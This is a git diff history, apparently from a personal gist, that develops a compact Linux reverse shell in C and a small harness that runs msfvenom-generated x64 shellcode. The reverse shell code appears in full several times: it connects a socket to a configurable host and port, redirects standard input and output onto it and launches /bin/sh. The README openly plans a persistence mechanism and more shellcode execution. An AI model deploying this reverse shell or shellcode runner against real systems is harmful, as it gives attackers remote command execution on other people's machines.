CerebralMischief · December 3, 2022 20:58 · Aug 9, 2022 · Jul 17, 2022 · Jul 16, 2022 · Jul 13, 2022
diff --git a/shellcode_addon.c b/shellcode_addon.c
@@ -1,6 +1,5 @@
 // some opts not abs. nec. but including for future ref. keeping.
 // gcc lin_1.c -o L1 -fno-stack-protector -z execstack -no-pie  -g
-
 //  msfvenom -p linux/x64/exec cmd="echo ABC \&\& echo XYZ" -f c -v sh_1
 //  [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
 //  [-] No arch selected, selecting arch: x64 from the payload
@@ -13,10 +12,8 @@
 //  "\x6f\x20\x41\x42\x43\x20\x26\x26\x20\x65\x63\x68\x6f\x20\x58"
 //  "\x59\x5a\x00\x56\x57\x54\x5e\x6a\x3b\x58\x0f\x05";
 //  //  
-
 #include <stdio.h>
 #include <unistd.h>
-
 int main(){
   unsigned char sh_1[] = 
   "\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52"

diff --git a/shellcode_addon_2.c b/shellcode_addon_2.c
@@ -1 +1 @@
-coming soon own encoder
+coming soon own encoder
diff --git a/shellcode_addon_2.c b/shellcode_addon_2.c
@@ -0,0 +1 @@
+coming soon own encoder
diff --git a/compact_linux_reverse_shell.c b/compact_linux_reverse_shell.c
@@ -1,9 +1,7 @@
-// gcc -o L1 lin_1.c
-
+// gcc -g -o L1 lin_1.c
 #include <arpa/inet.h>
 #include <stdio.h>
 #include <unistd.h>
-
 #define RP 1234
 #define RH "127.0.0.1"
 #define BIN "/bin/sh"
@@ -17,4 +15,4 @@ connect( is,(struct sockaddr *) &s1,sizeof(s1));
 for(int i=0;i<3;dup2(is,i),i++);
 char * const argv[] = {BIN,NULL};
 execve(BIN, argv, NULL);
-return 0;}
+return 0;}
diff --git a/shellcode_addon.c b/shellcode_addon.c
@@ -1,5 +1,6 @@
-// gcc lin_1.c -o L1 -fno-stack-protector -z execstack -no-pie   -g
-//  //  
+// some opts not abs. nec. but including for future ref. keeping.
+// gcc lin_1.c -o L1 -fno-stack-protector -z execstack -no-pie  -g
+
 //  msfvenom -p linux/x64/exec cmd="echo ABC \&\& echo XYZ" -f c -v sh_1
 //  [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
 //  [-] No arch selected, selecting arch: x64 from the payload

diff --git a/compact_linux_reverse_shell.c b/compact_linux_reverse_shell.c
@@ -1,3 +1,5 @@
+// gcc -o L1 lin_1.c
+
 #include <arpa/inet.h>
 #include <stdio.h>
 #include <unistd.h>

diff --git a/shellcode_addon.c b/shellcode_addon.c
@@ -0,0 +1,28 @@
+// gcc lin_1.c -o L1 -fno-stack-protector -z execstack -no-pie   -g
+//  //  
+//  msfvenom -p linux/x64/exec cmd="echo ABC \&\& echo XYZ" -f c -v sh_1
+//  [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
+//  [-] No arch selected, selecting arch: x64 from the payload
+//  No encoder specified, outputting raw payload
+//  Payload size: 57 bytes
+//  Final size of c file: 265 bytes
+//  unsigned char sh_1[] = 
+//  "\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52"
+//  "\x66\x68\x2d\x63\x54\x5e\x52\xe8\x15\x00\x00\x00\x65\x63\x68"
+//  "\x6f\x20\x41\x42\x43\x20\x26\x26\x20\x65\x63\x68\x6f\x20\x58"
+//  "\x59\x5a\x00\x56\x57\x54\x5e\x6a\x3b\x58\x0f\x05";
+//  //  
+
+#include <stdio.h>
+#include <unistd.h>
+
+int main(){
+  unsigned char sh_1[] = 
+  "\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52"
+  "\x66\x68\x2d\x63\x54\x5e\x52\xe8\x15\x00\x00\x00\x65\x63\x68"
+  "\x6f\x20\x41\x42\x43\x20\x26\x26\x20\x65\x63\x68\x6f\x20\x58"
+  "\x59\x5a\x00\x56\x57\x54\x5e\x6a\x3b\x58\x0f\x05";
+// (*(void(*)())XXX)();
+(*(void(*)())sh_1)();
+return 0;
+}
diff --git a/compact_linux_reverse_shell.c b/compact_linux_reverse_shell.c
@@ -1,6 +1,3 @@
-// MODIFIED A BIT; check for github latest version please!
-// might be errors!
-
 #include <arpa/inet.h>
 #include <stdio.h>
 #include <unistd.h>

diff --git a/compact_linux_reverse_shell.c b/compact_linux_reverse_shell.c
@@ -1,8 +1,10 @@
+// MODIFIED A BIT; check for github latest version please!
+// might be errors!
 
-```
+#include <arpa/inet.h>
 #include <stdio.h>
 #include <unistd.h>
-#include <arpa/inet.h>
+
 #define RP 1234
 #define RH "127.0.0.1"
 #define BIN "/bin/sh"
@@ -17,4 +19,3 @@ for(int i=0;i<3;dup2(is,i),i++);
 char * const argv[] = {BIN,NULL};
 execve(BIN, argv, NULL);
 return 0;}
-```
diff --git a/compact_linux_reverse_shell.MD → compact_linux_reverse_shell.c b/compact_linux_reverse_shell.MD → compact_linux_reverse_shell.c
diff --git a/compact_linux_reverse_shell.MD b/compact_linux_reverse_shell.MD
@@ -1,17 +1,4 @@
-# compact_linux_reverse_shell
-A compact linux reverse shell written in the C programming language.
 
-`note I haven't bothered yet to implement this in windows; if someone wants that open a issue(no need to pull) and tell me that; or request it via discord; and it should get done in a few days`
-
-obviously you can do a pull if thats what you want :)
-
-
-### upcoming changes:
-- adding shellcode execution (with a short & neat guide how to get shellcode without using radare2 or the classical ghidra or metasploit utils)
-- persistence mechanism
-
-
-https://gist.github.com/loneicewolf/8232aad5722e1e7de9d92932b5a01597
 ```
 #include <stdio.h>
 #include <unistd.h>

diff --git a/compact_linux_reverse_shell.MD b/compact_linux_reverse_shell.MD
@@ -0,0 +1,33 @@
+# compact_linux_reverse_shell
+A compact linux reverse shell written in the C programming language.
+
+`note I haven't bothered yet to implement this in windows; if someone wants that open a issue(no need to pull) and tell me that; or request it via discord; and it should get done in a few days`
+
+obviously you can do a pull if thats what you want :)
+
+
+### upcoming changes:
+- adding shellcode execution (with a short & neat guide how to get shellcode without using radare2 or the classical ghidra or metasploit utils)
+- persistence mechanism
+
+
+https://gist.github.com/loneicewolf/8232aad5722e1e7de9d92932b5a01597
+```
+#include <stdio.h>
+#include <unistd.h>
+#include <arpa/inet.h>
+#define RP 1234
+#define RH "127.0.0.1"
+#define BIN "/bin/sh"
+int main(){
+int is = 0;is = socket(AF_INET,SOCK_STREAM,0);
+struct  sockaddr_in s1;
+s1.sin_family      = AF_INET;
+s1.sin_port        = htons(RP);
+s1.sin_addr.s_addr = inet_addr(RH);
+connect( is,(struct sockaddr *) &s1,sizeof(s1));
+for(int i=0;i<3;dup2(is,i),i++);
+char * const argv[] = {BIN,NULL};
+execve(BIN, argv, NULL);
+return 0;}
+```
diff --git a/compact_linux_reverse_shell.c b/compact_linux_reverse_shell.c
@@ -1,17 +0,0 @@
-#include <stdio.h>
-#include <unistd.h>
-#include <arpa/inet.h>
-#define RP 1234
-#define RH "127.0.0.1"
-#define BIN "/bin/sh"
-int main(){
-int is = 0;is = socket(AF_INET,SOCK_STREAM,0);
-struct  sockaddr_in s1;
-s1.sin_family      = AF_INET;
-s1.sin_port        = htons(RP);
-s1.sin_addr.s_addr = inet_addr(RH);
-connect( is,(struct sockaddr *) &s1,sizeof(s1));
-for(int i=0;i<3;dup2(is,i),i++);
-char * const argv[] = {BIN,NULL};
-execve(BIN, argv, NULL);
-return 0;}

diff --git a/compact_linux_reverse_shell.c b/compact_linux_reverse_shell.c
@@ -0,0 +1,17 @@
+#include <stdio.h>
+#include <unistd.h>
+#include <arpa/inet.h>
+#define RP 1234
+#define RH "127.0.0.1"
+#define BIN "/bin/sh"
+int main(){
+int is = 0;is = socket(AF_INET,SOCK_STREAM,0);
+struct  sockaddr_in s1;
+s1.sin_family      = AF_INET;
+s1.sin_port        = htons(RP);
+s1.sin_addr.s_addr = inet_addr(RH);
+connect( is,(struct sockaddr *) &s1,sizeof(s1));
+for(int i=0;i<3;dup2(is,i),i++);
+char * const argv[] = {BIN,NULL};
+execve(BIN, argv, NULL);
+return 0;}
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